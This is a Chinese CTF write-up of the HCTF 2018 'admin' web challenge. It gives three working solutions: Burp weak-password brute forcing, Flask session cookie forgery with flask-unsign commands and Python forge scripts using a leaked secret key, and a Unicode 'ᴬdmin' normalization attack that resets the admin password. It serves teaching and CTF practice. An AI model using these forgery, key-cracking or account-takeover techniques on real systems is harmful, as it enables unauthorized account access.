admin——[HCTF 2018].19848094是什么意思?

摘要:解法一:利用burp弱口令爆破(非预期) 在源代码这里发现提示 ,以及有登录login和注册register路由地址,说明大概率需要我们拿到admin权限进行登录才能获得flag,然后我们进入register页面,在注册admin的时候,提
解法一:利用burp弱口令爆破(非预期) 在源代码这里发现提示 ,以及有登录login和注册register路由地址,说明大概率需要我们拿到admin权限进行登录才能获得flag,然后我们进入register页面,在注册admin的时候,提示该用户已经注册,那就说明有admin用户,我们可以取巧直接进行弱口令爆破, 直接返回login,用admin用户名作弱口令爆破,在burp截到包之后发送到intruder模块, 然后在需要爆破的位置添加变量,进入payloads页面,载入我们的弱口令字典 载入字典之后就可以直接开始攻击了 然后可以从长度来判断结果,状态码都是302重定向,但是这里是跳转到首页index,而其余的都是回到login页面,可以判断密码为123 我们拿到密码之后,直接去登录,就能拿到flag了 解法二:Flask Session 伪造(非预期)U 通过注册一个test账户,登陆后可以在change password页面源代码处发现github的源码链接, 通过给出链接去github(此时github上原链接已经删掉了)下载源码后,通过对源码架构分析我们可以知道这是个flask的架构,并且可以在源码里发现一些关键信息,路径如下: hctf_flask-master\app\templates\index.html hctf_flask-master\app\config.py 第一个发现如下: {% include('header.html') %} {% if current_user.is_authenticated %} <h1 class="nav">Hello {{ session['name'] }}</h1> {% endif %} {% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav">hctf{xxxxxxxxx}</h1> {% endif %} <!-- you are not admin --> <h1 class="nav">Welcome to hctf</h1> {% include('footer.html') %} 第二个发现如下: import os class Config(object): SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test' SQLALCHEMY_TRACK_MODIFICATIONS = True 从第二个发现里我们可以知道key密钥(我们利用key进行cookie的解密和session的伪造),再看第一个发现,从index.html里,在5、6、7的代码里,双重条件判断: 用户必须已登录。 用户的 session['name'] 必须等于 'admin'。 只要条件满足就执行输出hcft{xxxxxxxx}样式的flag,current_user.is_authenticated我们只要处于登录就满足了,由于flask框架的session是存储在浏览器的,那么我们的<font style="color:rgb(6, 10, 38);">session['name']</font> 是客户端可控的,你可以通过修改浏览器的 Cookie(<font style="color:rgb(6, 10, 38);">session</font>),将 <font style="color:rgb(6, 10, 38);">name</font> 的值从 <font style="color:rgb(6, 10, 38);">'test'</font> 改为 <font style="color:rgb(6, 10, 38);">'admin'</font> 我们可以从浏览器得到我们的Cookie, .eJxFkMtuwjAQRX-lmjWLEsgGiQXICaKSx4rrJBpvEC2BxI6plATlgfj3ulRq13fm3McdDuemaEtYdc2tmMGhOsHqDi8fsAJuylrkyUCTNJpltWayQlMbvZOWsyhElxmt3krO0oGUtJQnParYcHUJcRcNFNCoTTIIlczJpZNm-xCnzUgq7bmyo1C0RLatxU46wZIB2aXHPF16hiWFpb9fCLUt0WFJQWy1sSGyU015Vmm28UxZCbYP_O8aHjP4bJvzofuyxfW_AiMfA2vyMXgQ9TjFDl200CqzQvFReytvb9H9VDtVPEBL_fqJq9zxUvyR0rmM3pNf5Xp0XoCuaDuYwa0tmudsMH-Fxzfhim2X.abT1aQ.-7UfgrkP-yaTPl4Z3RFudp_74zo 得到了Cookie之后,我们可以使用flask-unsign工具去解密这个这个cookie。 flask-unsign 是专门用来处理 Flask 应用中被签名的 Session Cookie 的利器。它能帮你: 1. 解密:把加密/签名后的 Cookie 变成可读的原始数据。 2. 伪造:用你已知的密钥,生成一个新的、合法的 Cookie。 如果还没有安装,使用如下命令: pip install flask-unsign 使用命令如下: flask-unsign --decode --cookie ".eJxFkMtuwjAQRX-lmjWLEsgGiQXICaKSx4rrJBpvEC2BxI6plATlgfj3ulRq13fm3McdDuemaEtYdc2tmMGhOsHqDi8fsAJuylrkyUCTNJpltWayQlMbvZOWsyhElxmt3krO0oGUtJQnParYcHUJcRcNFNCoTTIIlczJpZNm-xCnzUgq7bmyo1C0RLatxU46wZIB2aXHPF16hiWFpb9fCLUt0WFJQWy1sSGyU015Vmm28UxZCbYP_O8aHjP4bJvzofuyxfW_AiMfA2vyMXgQ9TjFDl200CqzQvFReytvb9H9VDtVPEBL_fqJq9zxUvyR0rmM3pNf5Xp0XoCuaDuYwa0tmudsMH-Fxzfhim2X.abT1aQ.-7UfgrkP-yaTPl4Z3RFudp_74zo" --secret "ckj123" ps:注意:--cookie 后面是完整 Cookie,--secret 后面是 SECRET_KEY,也就是在config.py里面发现的secret_key 输入结果如下 { '_fresh': True, '_id': b'28e9d1c4cd5ed4b69cddd0196ece2a051a4dad051c1894a1cf2f41945be3d29702a5019296840e8df8414805e851da3ad2790a6cacadf9947eaebd05bdb82684', 'csrf_token': b'061cceb413a071f6a7e5d932e1d8dd6db67b3cdc', 'image': b'STDI', 'name': 'test', 'user_id': '10' } 在已知结构之后,我们需要按照前面的思路,更改name的键值test为admin, flask-unsign语法如下 flask-unsign --sign --cookie "{'_fresh': True, '_id': b'28e9d1c4cd5ed4b69cddd0196ece2a051a4dad051c1894a1cf2f41945be3d29702a5019296840e8df8414805e851da3ad2790a6cacadf9947eaebd05bdb82684', 'csrf_token': b'061cceb413a071f6a7e5d932e1d8dd6db67b3cdc', 'image': b'STDI', 'name': 'admin', 'user_id': '1'}" --secret 'ckj123' 伪造之后我们,去替换原有cookie,刷新之后就能获得cookie ps:flask-unsign 主要有三大核心功能:解密(查看内容)、爆破(猜密钥)、签名(伪造)。 A. 伪造/签名 (--sign) 这就是我们刚才用的功能,已知 Secret Key,通过字典生成 Cookie。 语法: flask-unsign --sign --cookie "<Python字典>" --secret "<密钥>" 参数解析: --sign: 告诉工具“我要生成一个新 Session”。 --cookie (或 -c): 后面跟你要伪造的明文数据(必须是合法的 Python 字典格式)。 --secret (或 -s): 后面跟已知晓的 Flask Secret Key。 B. 解密/解码 (--decode) Flask 的 Session 只是签名防篡改,没有加密。所以即使你不知道 Secret Key,也能看清里面存了什么。 语法: flask-unsign --decode --cookie "<网页里抓到的Session字符串>" 场景: CTF 拿到题目的第一步,先看看当前的 Session 里有哪些键值对(比如看看自己的 user_id 是多少)。 C. 爆破/破解 (--unsign) 如果你不知道 Secret Key,但你想伪造,第一步就是拿个字典去爆破它。 语法: flask-unsign --unsign --cookie "<网页里抓到的Session字符串>" --wordlist "<字典文件路径>" 参数解析: --unsign: 告诉工具“我要爆破这个 Session 的密钥”。 --wordlist (或 -w): 指定密码本(比如常用的 rockyou.txt,或者针对 Flask 常用的漏洞字典)。 进阶: 如果你想多线程爆破加快速度,可以加 --threads 8。 如果不用工具,也可以用python脚本去解码原cookie,用脚本+secret_key去伪造session 解码脚本如下: import base64 import zlib import json session = "eJxFkMtuwjAQRX-lmjWLEsgGiQXICaKSx4rrJBpvEC2BxI6plATlgfj3ulRq13fm3McdDuemaEtYdc2tmMGhOsHqDi8fsAJuylrkyUCTNJpltWayQlMbvZOWsyhElxmt3krO0oGUtJQnParYcHUJcRcNFNCoTTIIlczJpZNm-xCnzUgq7bmyo1C0RLatxU46wZIB2aXHPF16hiWFpb9fCLUt0WFJQWy1sSGyU015Vmm28UxZCbYP_O8aHjP4bJvzofuyxfW_AiMfA2vyMXgQ9TjFDl200CqzQvFReytvb9H9VDtVPEBL_fqJq9zxUvyR0rmM3pNf5Xp0XoCuaDuYwa0tmudsMH-Fxzfhim2X.abUBcw.gp6QMl4POFK_gQfpg0kr9dqJ-DE" def decode_flask_cookie(cookie): try: # 1. 提取 Payload 部分 (第一个点号之前) payload = cookie.split('.')[0] # 2. 补全 Base64 填充 payload += '=' * (len(payload) % 4) # 3. Base64 解码 decoded_data = base64.urlsafe_b64decode(payload) # 4. 检查是否经过 zlib 压缩 (Flask 压缩标志通常是数据开头有 '.') if decoded_data.startswith(b'\x78\x9c') or cookie.startswith('.'): # 如果是压缩格式,去掉第一个字节(压缩标志)后再解压 if cookie.startswith('.'): decoded_data = zlib.decompress(base64.urlsafe_b64decode(payload[1:])) else: decoded_data = zlib.decompress(decoded_data) return json.loads(decoded_data) except Exception as e: return f"解析失败: {e}" structure = decode_flask_cookie(session) print(json.dumps(structure, indent=4, ensure_ascii=False)) 伪造脚本如下(更改name键值为admin): from flask import Flask from flask.sessions import SecureCookieSessionInterface # 1. 初始化一个虚拟的 Flask App app = Flask(__name__) app.secret_key = 'ckj123' # 2. 准备你的 Payload session_data = { '_fresh': True, '_id': b'28e9d1c4cd5ed4b69cddd0196ece2a051a4dad051c1894a1cf2f41945be3d29702a5019296840e8df8414805e851da3ad2790a6cacadf9947eaebd05bdb82684', 'csrf_token': b'd8989aec2c6e7a9ca36d22b35856d7ad347f5ec6', 'image': b'geAV', 'name': 'admin', 'user_id': '10' } # 3. 借用 Flask 原生的 Session 接口进行签名 with app.app_context(): si = SecureCookieSessionInterface() serializer = si.get_signing_serializer(app) forged_cookie = serializer.dumps(session_data) print("====== 请将以下内容替换到浏览器的 session Cookie 中 ======") print(forged_cookie) 结果如下: 解法三:Unicode欺骗 这里这种解法是属于预期解法,这的Unicode 欺骗漏洞的核心诱因在于 `strlower` 函数的设计以及它在不同路由逻辑中的链式调用方式。我们在`app\routes.py`这个文件可以发现这个函数 def strlower(username): username = nodeprep.prepare(username) return username 1. 核心漏洞点:nodeprep.prepare 的特性 漏洞的根源在于 twisted.words.protocols.jabber.xmpp_stringprep 中的 nodeprep.prepare 函数。 原理:nodeprep.prepare 会对 Unicode 字符进行标准化处理。某些特殊的 Unicode 字符在经过这个函数处理时,会发生 “等价映射”,转换成对应的 ASCII 字符。 示例:字符 ᴬ (U+1D2C) 在经过 nodeprep.prepare 处理后会变成 A。 双重转换问题: 如果输入 ᴬ,第一次调用 strlower 得到 A。 如果再次对 A 进行某些操作(或者再次经过类似的标准化逻辑),它最终会变成小写的 a。 2. 漏洞在业务逻辑中的体现 该漏洞主要在注册、登录、修改密码这三个环节的配合下爆发: A.注册阶段 (/register) name = strlower(form.username.data) user = User(username=name) 当注册ᴬdmin时,strlower函数将其转为Admin并存入数据库。此时数据库里存在一个用户名为Admin的账号。 B.登录阶段 (/login) name = strlower(form.username.data) session['name'] = name user = User.query.filter_by(username=name).first() 当我们用ᴬdmin登录时strlower再次将其转为Admin。查询数据库,成功匹配到注册的Admin账号。此时,关键点是:session['name'] 被赋值为 Admin。 C.修改密码阶段 (/change) ——最后利用阶段 @app.route('/change', methods = ['GET', 'POST']) def change(): # ... if request.method == 'POST': name = strlower(session['name']) # 再次调用 strlower,引发漏洞 user = User.query.filter_by(username=name).first() user.set_password(form.newpassword.data) 现在是以Admin身份登录的,其中session['name']的值是Admin。 当点击提交修改密码时,程序执行 strlower("Admin")。 漏洞发生:nodeprep.prepare("Admin") 会将大写的 A 转为小写的 a,结果变成admin。 程序执行User.query.filter_by(username='admin').first(),指向用户为admin管理员用户。 最后执行user.set_password(form.newpassword.data)执行修改了管理员的密码,再利用修改后的管理员密码登录admin账户获取flag 3. 漏洞成因总结表 步骤 角色/操作 session['name'] strlower 处理后的结果 影响 1 注册 <font style="color:rgb(68, 71, 70);">ᴬdmin</font> - <font style="color:rgb(68, 71, 70);">Admin</font> 绕过了不能直接注册 <font style="color:rgb(68, 71, 70);">admin</font>的限制 2 登录 <font style="color:rgb(68, 71, 70);">ᴬdmin</font> <font style="color:rgb(68, 71, 70);">Admin</font> <font style="color:rgb(68, 71, 70);">Admin</font> 成功以 <font style="color:rgb(68, 71, 70);">Admin</font>身份进入系统 3 修改密码 <font style="color:rgb(68, 71, 70);">Admin</font> <font style="color:rgb(68, 71, 70);">admin</font> 逻辑溢出:修改了真正管理员的密码 4.总结 这个函数原本是为了规范字符串,但在安全开发中,这种复杂的 Unicode 预处理如果和业务逻辑(如修改密码)结合,就会产生身份转换漏洞。 ps:这里虽然声明的一个strlower转小写功能的函数,但是它实际上调用的是 twisted.words.protocols.jabber.xmpp_stringprep 中的 nodeprep.prepare 算法。其功能如下: 它是 XMPP 协议的一部分 nodeprep 是专门为 XMPP(一种即时通讯协议,如 Jabber)设计的字符串预处理算法。它的初衷是确保即时通讯中的“用户名”(Node)在不同系统间传输时具有唯一性和一致性。 它执行 Unicode 标准化 (NFKC) nodeprep.prepare 会执行 Unicode 的 NFKC (Normalization Form KC) 兼容分解与组合。 1. 不仅仅是变小写:它会将一些视觉上相似的字符、特殊格式的字母、以及兼容字符(Compatibility Characters)转换成它们标准的、最简化的 ASCII 或 Unicode 形式。 2. 消除歧义:它会过滤掉一些非法字符,并统一字符的大小写。 为什么它会导致漏洞?(核心点) 这个函数最关键的特性是:它在处理某些特殊 Unicode 字符时,会将其“映射”回 ASCII 字符。实验如下: from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep # 1. 转换特殊格式字母 print(nodeprep.prepare('ᴬdmin')) # 输出: 'Admin' (它把上标 ᴬ 转换成了正常的大写 A) # 2. 连续转换的效果 (导致漏洞的关键) first_pass = nodeprep.prepare('ᴬdmin') # 得到 'Admin' second_pass = nodeprep.prepare(first_pass) # 得到 'admin' # 注意:第二次转换时,原本的大写 A 被转成了小写 a 在代码中的具体行为 这个函数被用于处理session['name']: 第一次通过strlower:如果你输入ᴬdmin,函数返回Admin。 第二次通过strlower:在/change路由中,程序再次对session['name'](即 Admin)调用该函数。 最终结果:由于nodeprep.prepare 的规范化逻辑,大写的Admin最终被转换成了小写的admin。